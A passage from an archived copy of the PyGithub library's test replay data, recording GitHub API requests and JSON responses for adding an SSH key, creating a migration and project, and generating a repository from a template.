AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw== vincent@IDEE", "title": "Key added through PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4984'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7261ec55c886d6bf42e48d5bf9544586"'), ('date', 'Sat, 26 May 2012 19:49:30 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/user/keys/2626650')] {"url":"https://api.github.com/user/keys/2626650","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","verified":true,"title":"Key added through PyGithub","id":2626650} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateMigration.txt0000644000175100001660000001665614756101563026332 0ustar00runnerdockerhttps POST api.github.com None /user/migrations {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"repositories": ["sample-repo"]} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 14:27:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '6113'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"effe78003c129e46e2cc58a5ac1f001d"'), ('Location', 'https://api.github.com/user/migrations/25309'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.105195'), ('X-GitHub-Request-Id', '8B80:1FE2:1A4DEF4:311C09F:5B9A73E4')] {"id":25309,"node_id":"MDk6TWlncmF0aW9uMjUzMDk=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"30dfcaa4-b761-11e8-9fc8-2531d3207eaf","state":"pending","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T14:27:49Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25309","created_at":"2018-09-13T19:57:49.000+05:30","updated_at":"2018-09-13T19:57:49.000+05:30"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateProject.txt0000644000175100001660000000544014756101563025774 0ustar00runnerdockerhttps POST api.github.com None /user/projects {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "TestPyGithub", "body": "This is the body"} 201 [('Date', 'Mon, 09 Mar 2020 18:51:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1294'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1583783465'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5dcbdb52ad9cabe8f739c5289666c8de"'), ('Location', 'https://api.github.com/projects/4084610'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CB1A:7CA2:8BAA51:B377C5:5E669027')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084610","html_url":"https://github.com/users/ahhda/projects/4","columns_url":"https://api.github.com/projects/4084610/columns","id":4084610,"node_id":"MDc6UHJvamVjdDQwODQ2MTA=","name":"TestPyGithub","body":"This is the body","number":4,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:19Z","updated_at":"2020-03-09T18:51:19Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt0000644000175100001660000005425214756101563027620 0ustar00runnerdockerhttps GET api.github.com None /repos/actions/hello-world-docker-action {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 16:56:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1581443569'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', 'W/"63c75e6c241c8aa34fa31eaac3091d88"'), ('Last-Modified', 'Fri, 07 Feb 2020 09:28:27 GMT'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '5200:6A2A:85CA2:FC534:5E42DCCD')] {"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","private":false,"owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"temp_clone_token":"","organization":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"network_count":30,"subscribers_count":1} https GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"79f748546e5fc4492505a70de6542183"'), ('date', 'Tue, 08 May 2012 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":10,"type":"User","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"bio":"","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16692,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1},"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","login":"jacquev6","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","total_private_repos":5,"public_gists":1,"following":24,"name":"Vincent Jacques","id":327146,"owned_private_repos":5,"private_gists":5,"collaborators":0,"hireable":false,"node_id":"MDQ6VXNlcjMyNzE0Ng=="} https POST api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "hello-world-docker-action-new", "owner": "jacquev6"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 16:56:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '11775'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1581443568'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"eabd6fce61227c57848e030e45c468c3"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8C7A:1AEB:84521:F940F:5E42DCCE')] {"id":239815940,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk4MTU5NDA=","name":"hello-world-docker-action-new","full_name":"jacquev6/hello-world-docker-action-new","owner":{"login":"jacquev6","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/hello-world-docker-action-new","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/deployments","created_at":"2020-02-11T16:56:47Z","updated_at":"2020-02-11T16:56:47Z","pushed_at":"2020-02-11T16:56:48Z","git_url":"git://github.com/jacquev6/hello-world-docker-action-new.git","ssh_url":"git@github.com:jacquev6/hello-world-docker-action-new.git","clone_url":"https://github.com/jacquev6/hello-world-docker-action-new.git","svn_url":"https://github.com/jacquev6/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"